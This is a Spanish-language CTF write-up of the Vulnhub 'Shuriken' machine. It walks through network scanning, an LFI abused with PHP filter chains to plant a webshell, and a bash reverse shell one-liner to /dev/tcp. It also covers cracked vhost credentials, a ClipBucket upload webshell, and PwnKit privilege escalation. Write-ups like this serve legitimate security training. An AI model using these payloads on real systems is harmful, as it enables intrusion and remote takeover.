Shuriken | CTF Writeup - Vulnhub
Shuriken
Primera opción
Empezamos enumerando nuestra red local para encontrar hosts activos. En este caso, usaremos la herramienta
netdiscover
.
1
2
3
4
5
6
7
8
9
10
11
> netdiscover -r 192.168.216.0/24 -P > discover.txt
> cat !$
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.216.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.216.2 00:50:56:e2:11:a1 1 60 VMware, Inc.
192.168.216.151 00:0c:29:67:7c:e5 1 60 VMware, Inc.
192.168.216.254 00:50:56:f9:2e:59 1 60 VMware, Inc.
-- Active scan completed, 4 Hosts found.
Ahora que encontramos nuestra máquina víctima, podemos referenciarla con una variable de entorno (opcional). En mi caso, la exporte a la variable IP con el siguiente comando:
export IP=192.168.216.151
.
Aplicamos un escaneo con
nmap
:
1
2
3
4
5
6
7
8
9
10
# Nmap 7.94 scan initiated Thu Feb 22 18:18:24 2024 as: nmap -sS -T5 -p- --open --min-rate 5000 -n -Pn -oN scan.txt 192.168.216.151
Nmap scan report for 192.168.216.151
Host is up (0.18s latency).
Not shown: 52582 filtered tcp ports (no-response), 12952 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:67:7C:E5 (VMware)
# Nmap done at Thu Feb 22 18:20:21 2024 -- 1 IP address (1 host up) scanned in 116.96 seconds
Escaneamos la versión del servicio que corre por el puerto 80.
1
2
3
4
5
6
7
8
9
10
11
12
# Nmap 7.94 scan initiated Thu Feb 22 18:24:18 2024 as: nmap -sCV -p80 -oN version.txt 192.168.216.151
Nmap scan report for 192.168.216.151
Host is up (0.00076s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Shuriken
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:67:7C:E5 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 22 18:24:25 2024 -- 1 IP address (1 host up) scanned in 6.73 seconds
Aplicamos el script
http-enum
de la herramientanmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Nmap 7.94 scan initiated Thu Feb 22 18:24:56 2024 as: nmap --script http-enum -p80 -oN http-enum.txt 192.168.216.151
Nmap scan report for 192.168.216.151
Host is up (0.0025s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /login.html: Possible admin folder
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /img/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_ /secret/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
# Nmap done at Thu Feb 22 18:24:56 2024 -- 1 IP address (1 host up) scanned in 0.45 seconds
Vamos a la web:
Si inspeccionamos el código fuente:
Hay dos archivos JavaScript. Están minificados u ofuscados. Para poder leerlos mejor, los pasamos por un beautifier.
Vemos que se está aplicando Virtual Hosting. Para que nos resuelva ese dominio por DNS, modificamos el archivo
/etc/hosts
.
Nos dirigimos al subdominio, pero necesita credenciales válidas.
En el otro archivo JavaScript, podemos ver que se utiliza la siguiente URL dentro de las funciones:
Este parámetro dentro de la URL llama ciertamente la atención. Podemos intentar un LFI.
Efectivamente, se acontece una vulnerabilidad de tipo Local File Inclusion (LFI). Se me vino a la cabeza un posible vector de ataque para ganar Initial Access. Esto es abusando de los wrappers de PHP utilizando el siguiente script: https://github.com/synacktiv/php_filter_chain_generator. La explicación del exploit se encuentra en HackTricks, pero básicamente se genera contenido arbitrario a partir de los filtros aplicados y de la codificación/decodificación de caracteres en base64. La herramienta la usaremos para crear una webshell de la siguiente manera.
1
> python3.9 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]) ?>'
Lo que nos devuelva esto, será toda la cadena de filtros utilizados para generar el string
<?php system($_GET['cmd']); ?>
. Esta cadena la pegamos en la URL y le concatenamos a la misma el parámetro CMD para ejecutar comandos. La url quedaría de la formahttp://shuriken.local/index.php?referer=<Acá va la cadena>&cmd=whoami
.
Vemos que se está ejecutando y nos devuelve
www-data
. Intentemos concatenar nuestro comando para ganar una [[Reverse Shell]]. En este caso, serábash -c 'bash -i >&/dev/tcp/tuIp/tuPuerto 0>&1'
. Mientras, nosotros nos pondremos en escucha de conexiones TCP connc
en el puerto especificado, usando el comandonc -nlvp tuPuerto
.
Aprovechamos para hacer un tratamiento de la TTY y tener una consola interactiva.
Si enumeramos, el archivo
/usr/bin/pkexec
es SUID y la versión del mismo es vulnerable al CVE-2021-4034. Podríamos intentar explotarlo y ganar acceso directo a root con este script que explota la vulnerabilidad PwnKit. La vulnerabilidad se da a partir del manejo de argumentos pasados al programapkexec
y cómo puede llevar a una reescritura de variables de entorno. Para más información, acá está el artículo de los investigadores.
Segunda opción
Sin embargo, hay otro camino para entrar en la máquina. Si hubiésemos aprovechado el LFI para leer las credenciales del subdominio
broadcast.shuriken.local
, había otra forma de ejecutar comandos en la máquina víctima. Buscamos (ya adentro de la máquina) por archivos que contengan la palabrabroadcast
y encontramos lo siguiente.
En el archivo
sites-available/000-default.conf
, tendremos la configuración para este subdominio, y probablemente las credenciales.
Si vemos el archivo de autorización:
Todo esto lo hubiésemos podido leer con el LFI previamente explotado, sin necesidad de tener acceso a la máquina. Es un hash. Podemos intentar crackearlo con
john
.
Podemos entrar a
broadcast.shuriken.local
con las credencialesdevelopers:9972761drmfsls
.
Nos figura que es la versión 4.0 de ClipBucket. Busquemos vulnerabilidades con
searchsploit
.
Básicamente, podemos subir el archivo que nosotros queramos. En mi caso, subí una webshell.
Respuesta del servidor:
Tenemos el nombre del archivo. Ahora solo debemos averiguar dónde se subió. Fuzzeamos en el subdominio
http://broadcast.shuriken.local/
para encontrar carpetas que contengan archivos.
Si accedemos a la web:
En teoría, es una foto. Podemos ver en los directorios y efectivamente, encontraremos nuestro archivo.
Nuevamente, ejecutamos comandos en la máquina víctima.
Y podemos entablarnos nuestra [[Reverse Shell]] igual que la anterior vez. Para escalar privilegios, se puede utilizar la misma técnica.
Fue una máquina muy divertida! :) Aprendí mucho, sobretodo en la parte de explotación del PolKit.